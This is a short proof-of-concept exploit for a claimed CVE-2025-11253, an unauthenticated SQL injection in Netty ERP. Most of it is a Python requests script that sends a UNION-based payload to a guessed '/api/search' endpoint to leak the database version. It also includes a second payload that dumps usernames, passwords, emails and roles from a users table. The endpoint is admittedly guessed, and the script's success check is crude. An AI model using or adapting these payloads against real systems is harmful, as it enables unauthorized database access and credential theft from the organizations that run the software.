CVE-2025-11253 Netty ERP SQL注入漏洞

# CVE-2025-11253 SQL Injection PoC # Target: Netty ERP < V.1.1000 # Type: Unauthenticated SQL Injection import requests import sys target = "http://target-ip/netty-erp" # SQL Injection payload to extract database version payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL---" # Example vulnerable endpoint (to be identified) endpoint = "/api/search" params = {"query": payload} try: response = requests.get(f"{target}{endpoint}", params=params, timeout=10) if "5.7" in response.text or "8.0" in response.text: print("[+] SQL Injection confirmed - Database version leaked") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Additional payload for data extraction data_payload = "' OR '1'='1' UNION SELECT username,password,email,role,NULL FROM users---"